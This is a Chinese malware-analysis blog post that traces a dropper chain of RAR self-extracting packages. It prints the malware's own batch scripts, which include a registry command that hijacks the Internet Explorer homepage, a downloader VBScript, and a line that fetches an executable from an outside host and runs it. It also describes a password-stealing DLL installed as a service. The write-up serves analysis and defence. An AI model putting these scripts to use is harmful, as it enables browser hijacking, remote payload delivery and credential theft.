文件: ctfmon.exe -> ccabs.exe -> ieqidong.exe, gai.exe, vbspc.exe, lead.bat, lead.vbs -> 启动 Internet Explorer 浏览器.exe, lnks; gai.vbs, gai.bat; cmd运行参数.txt.bat, down.vbs, 隐藏dos窗口的代码.vbs -> 3.lnk
语言: RAR Self-Extract Package; VB Script; Windows Batch; Shortcut File
类型: TR/Dropper -> TR/HomePage
MD5 : F595F1BA1AB2B9B0A68775FED86E17A5
加壳: -
大小: 368,863 字节
时间: 2009-12-16 2:13:06

本文来自www.sacour.cn 转载注明来源

(样本来自剑盟论坛)据说是这个ctfmon.exe是由其他病毒释放的,而这个ctfmon.exe覆盖了系统ctfmon.exe,使得病毒随系统启动。

ctfmon.exe是一个RARSFX自解压包,解压出ccabs.exe,同样是自解压包,又解压出 ieqidong.exe, gai.exe, vbspc.exe, lead.bat, lead.vbs 几个文件。

ccabs.exe的注释表明要执行lead.vbs,而lead.vbs的内容也十分简单,执行lead.bat……好吧,再看看lead.bat,lead.bat用ping -n 30 127.1的方式来间接“休眠”,然后依次启动这四个exe文件,代码如下:

@echo off
:s
ping -n 30 127.1>nul
start "" "C:\wmpub\wmiisslog\ctfmon.exe.exe"
ping -n 100 127.1>nul
start "" "C:\wmpub\wmiisslog\gai.exe"
ping -n 100 127.1>nul
start "" "C:\wmpub\wmiisslog\ieqidong.exe"
ping -n 100 127.1>nul
start "" "C:\wmpub\wmiisslog\vbspc.exe"

 

其中ctfmon.exe.exe是正常的,就是Windows的ctfmon.exe,而gai.exe,ieqidong.exe,vbspc.exe都是RAR自解压包。

gai.exe的注释表明要执行gai.vbs,gai.vbs和之前的一样,会执行gai.bat,不多废话了,gai.bat依旧是这种新加CLSID来伪造IEXPLORER的东西,之前的程序(http://www.sacour.cn/post/335.html)应对的正是这类锁主页的东西,找到对应项删除即可。

@echo off
reg add "HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /ve /d "\"C:\Program Files\Internet Explorer\iexplore.exe\" niwota888.cn" /f


而ieqidong.exe则会把它里面那一大堆的LNK文件释放到Quick Launch里面去,其中包含的启动 Internet Explorer 浏览器.exe仍旧是一个RAR自解压包,会启动一个3.LNK文件,指向"C:\Program Files\Internet Explorer\IEXPLORE.EXE" hxxp://www.niwota888.cn/,同样是把IE带向了他们的网站……

vbspc.exe的话,不用说也知道肯定是RAR自解压包了,解压到C:\windows\kjd并执行“隐藏dos窗口的代码.vbs”。这个vbs会启动同级目录的bat,bat会调用down.vbs下载文件到本地c:\good.exe

@echo off
@cscript down.vbs hxxp://www.kangnai520.cn:88/pc.htm c:\good.exe
cd\
good.exe

 

不过vbs怎么带上参数呢,我还不是很清楚,看看down.vbs吧:

…………(代码省略)


function exec()
     on error resume Next
     Set args = WScript.Arguments
if args.Count = 0 then
     WScript.Echo "Usage: CScript down.vbs url c:\1.exe"
     WScript.Quit 1
     end If
      dim data,t,kk,filename,ss
     Set Mail1 = CreateObject("CDO.Message")
     Mail1.CreateMHTMLBody args.Item(0) ,31
'Mail1.CreateMHTMLBody "c:\xxx\lcx.exe-pf.htm",31
     ss= Mail1.HTMLBody
     Set Mail1=nothing 
     data             = ss
     filename     = args.Item(1)
         u = len(data)
     for i=1 to u step 2
             t = mid(data,i,2)
             kk = kk & ChrB(clng("&H" & t))
     next
     dataArry = MultiByteToBinary(kk)
     saveFile filename,dataArry
    end function

exec()

原来这样也是可以获取参数的啊,受教了,不过保存二进制文件的话呢,看来还是用了老方法,不关注它怎么下载的了,看他下回来的东西:c:\good.exe,

文件: good.exe
语言: Microsoft Visual C++ 6.0 (FFI) , 5.0 (PEiD)
类型: TR/Dropper ; TR/PSW
MD5 : AFE2EDF9FC86EBEF2F89A7E4B3A3481E
加壳: -
大小: 63,281 字节
时间: 2010-6-28 18:26:16

好吧,终于不是RARSFX了,看看它有什么动作,“值得一提”的是整个文件的入口被混淆的十分恶心,省点事吧,调试的话,可以从40176E处开始,不知道用了什么鬼工具混淆的,里面的代码虽然不至于像开头一样,不过同样混淆的异常恶心,(代码太乱,以下叙述可能有错误)启动后,程序获取自身文件的后60个字符,然后又7次取出-146h处起不同长度的数据(疑似只是混淆用),接着取出-52383字节起到末尾的字符,然后获取系统目录(GetSystemDirectoryA),CreateMutexA建立互斥体Global\tp5e814并检查程序是否已经执行过了(GetLastError),没有执行的话,程序接着调用WaitForSingleObject等待30秒。然后,程序会试图获取%WINDIR%\system32\5e814.lol的属性(实际上是检测文件是否存在的),如果文件存在则释放互斥体并退出,如果不存在则建立一个文件,其实也只有一个字符“0”,然后程序会试图打开一个服务,名称随机,暂时称为a吧,然后程序又释放资源文件到%windir%\system32\下的随机名.huo文件,其实他是个DLL文件,程序会通过LoadLibrary、GetProcAddress来加载并执行,执行完之后程序退出。

DLL有什么动作呢?鄙视一下这个服务器,刚才那恶心无比的关键字监控不知道又看到了什么,把我最后一段都删了,懒得重新调试了,就这样简单写写吧,DLL会建立一个服务,就是指向之前这个DLL,通过SVCHOST -K 服务名启动,然后整个DLL其实是一个盗号木马,会在后台监控用户机子,如果捕获到用户名密码则会发往木马制造者的机器,导致中毒机器的电子财产损失。
 

清理:
由于文件较多,请使用杀软扫描系统